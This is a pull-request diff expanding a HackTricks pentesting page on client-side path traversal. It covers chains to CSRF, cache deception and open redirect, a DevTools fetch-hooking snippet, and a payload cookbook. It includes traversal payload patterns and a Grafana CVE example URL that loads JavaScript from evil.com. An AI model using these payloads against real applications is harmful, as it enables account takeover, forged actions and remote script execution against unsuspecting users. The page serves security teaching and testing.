Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
76 changes: 70 additions & 6 deletions src/pentesting-web/client-side-path-traversal.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,31 @@

## Basic Information

A client side path traversal occurs when you can **manipulate the path of a URL** that is going to be **sent to a user to visit in a legit way** or that a user is somehow going to be **forced to visit for example via JS or CSS**.
A client side path traversal occurs when you can **manipulate the path of a URL** that is going to be **sent to a user to visit in a legit way** or that a user is somehow going to be **forced to visit for example via JS or CSS**. CSPT is also known as **On-Site Request Forgery (OSRF)** because it lets you coerce the victim’s browser into hitting arbitrary paths on the same origin with their cookies, JWTs, or mTLS certificates.

Typical sources (data you control):

- Route parameters that get concatenated into `fetch()` or XHR paths (React Router, Next.js dynamic routes, Vue router params, Angular `ActivatedRoute`).
- Stored values (profile slugs, document IDs) that are interpolated into paths inside background jobs, service workers, or WebSocket URLs.
- UI gadgets (download/export buttons, image galleries) that append user-controlled fragments or file extensions to API endpoints before the request is dispatched.

Typical sinks (where the traversal lands):

- Frontend API wrappers that prepend `/api/` or `/proxy/` and reuse auth headers automatically.
- `history.pushState` / `router.navigate` helpers that reconstruct URLs later during hydration.
- `<link>`/`<style>`/`@import` statements generated by CMS content or feature-flag payloads.

### Common impacts & chains

- **CSPT ➜ CSRF/OSRF**: hijack authenticated `POST/PUT/DELETE` calls by escaping the intended resource path, then re-entering sensitive endpoints (password reset, payment approval, access revocation). Combine with the [CSRF](csrf-cross-site-request-forgery.md) checklist to escalate.
- **CSPT ➜ cache deception / poisoning**: serve attacker-controlled JSON from public CDN keys and replay it unauthenticated. See [Cache Poisoning and Cache Deception](cache-deception/README.md).
- **CSPT ➜ Open Redirect ➜ XSS/SSRF**: traversal lands on an open redirect endpoint, which then bounces to attacker infrastructure that serves malicious JS or SSRF payloads. Chain with [Open Redirect](open-redirect.md) abuses.

### Example findings

- In [**this writeup**](https://erasec.be/blog/client-side-path-manipulation/), it was possible to **change the invite URL** so it would end up **canceling a card**.
- In [**this writeup**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), it was possible to combine a **client side path traversal via CSS** (it was possible to change the path where a CSS resource was loaded from) with an **open redirect** to load the CSS resource from an **attacker controlled domain**.
- In [**this writeup**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), it's possible to see a tachnique on how to abuse CSPT **to perform a CSRF attack**. This is done by **monitoring all the data** that an attacker can control (URL path, parameters, fragment, adata injected in the DB...) **and the sinks** this data ends (requests being performed).
- In [**this writeup**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), it's possible to see a technique on how to abuse CSPT **to perform a CSRF attack**. This is done by **monitoring all the data** that an attacker can control (URL path, parameters, fragment, data injected in the DB...) **and the sinks** this data ends (requests being performed).
- Check [**this browser extension**](https://addons.mozilla.org/en-US/firefox/addon/eval-villain/) to monitor that.
- Check this [**CSPT playground**](https://github.com/doyensec/CSPTPlayground) to try the technique.
- Check [**this tutorial**](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html) on how to use the browser extension in the playground.
Expand All @@ -28,15 +48,59 @@ Quick recipe:
3) Lure the victim to a URL that injects traversal into the SPA parameter so the authenticated fetch hits the cacheable path variant (for example, ../../../v1/token.css).
4) Read back the same URL anonymously to obtain the cached secret (token → ATO).

See details and mitigations in the Cache Deception page: [Cache Poisoning and Cache Deception](cache-deception/).
See details and mitigations in the Cache Deception page: [Cache Poisoning and Cache Deception](cache-deception/README.md).

## Hunting workflow & tooling

### Passive discovery with intercepting proxies

- **Correlate sources/sinks automatically**: the [CSPT Burp extension](https://github.com/doyensec/CSPTBurpExtension) parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the `Source Scope` to client parameters (e.g., `id`, `slug`) and the `Sink Methods` to `GET, POST, DELETE` so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk.
- **Look for double-URL-decoding**: while browsing with Burp or ZAP, watch for `/api/%252e%252e/` patterns that get normalized by the frontend before hitting the network—these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner.

### Instrumenting SPA sinks manually

Dropping a short snippet in DevTools helps surface hidden traversals while you interact with the UI:

```javascript
(() => {
const origFetch = window.fetch;
window.fetch = async function (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET");
debugger;
}
return origFetch.apply(this, arguments);
};
})();
```
- Add similar wrappers around `XMLHttpRequest.prototype.open`, `history.pushState`, and framework-specific routers (e.g., `next/router`). Watching for `init.credentials === "include"` quickly narrows down requests that carry session cookies.
- If the app stores routing hints in IndexedDB/localStorage, edit those entries with traversal payloads and reload—the mutated state is often reinjected into requests pre-hydration.
### Lab & payload rehearsal
- Spin up the CSPT Playground via `docker compose up` and practice chaining traversal ➜ CSRF ➜ stored XSS flows without touching the target. Reproducing the target’s router structure locally makes it easier to craft shareable PoCs.
- Maintain a scratchpad of successful dot-segment variations (`..;/`, `%2e%2e/`, `%2e./%2e/`, UTF-8 homoglyphs) and suffix tricks (`.css`, `.json`, `;` matrix params) you observed during recon so you can replay them quickly when a new sink appears.
## Recent case studies (2025)
- **Grafana OSS CVE-2025-4123/6023 (v11.5.0+)** – A traversal gadget inside `/public/plugins/` let attackers smuggle `../../` into the plugin asset loader, chain it with Grafana’s open redirect, and force victims to load attacker-controlled plugin bundles. When anonymous dashboards were enabled, a crafted URL such as `https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js` resulted in the browser executing remote JavaScript; if the Image Renderer plugin was installed, the same primitive could be flipped into SSRF by redirecting rendering requests toward internal hosts. Always test plugin asset paths, anonymous dashboards, and renderer endpoints together because a single traversal often gives you both XSS and SSRF angles.

## Payload cookbook

| Goal | Payload pattern | Notes |
| --- | --- | --- |
| Hit sibling API under same origin | `?doc=../../v1/admin/users` | Works when routers simply concatenate `/${doc}`. Add `.json` if CDN only caches static-looking assets. |
| Force SPA to follow open redirect | `?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x` | Combine with trusted redirectors listed in target’s codebase. Chain with [Open Redirect](open-redirect.md). |
| Abuse extension-based CDN cache | `?file=../../v1/token.css` | CDN may treat `.css` as static and cache secrets returned as JSON. |
| CSRF via verb change | `?action=../../payments/approve/.json&_method=POST` | Some routers accept `_method` overrides; pair with traversal to re-target destructive endpoints. |

## References

- [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/)
- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
- [Grafana CVE-2025-4123 Chained Path Traversal + Open Redirect Analysis](https://www.cve.news/cve-2025-4123/)
- [Doyensec CSPT Burp Extension](https://github.com/doyensec/CSPTBurpExtension)

{{#include ../banners/hacktricks-training.md}}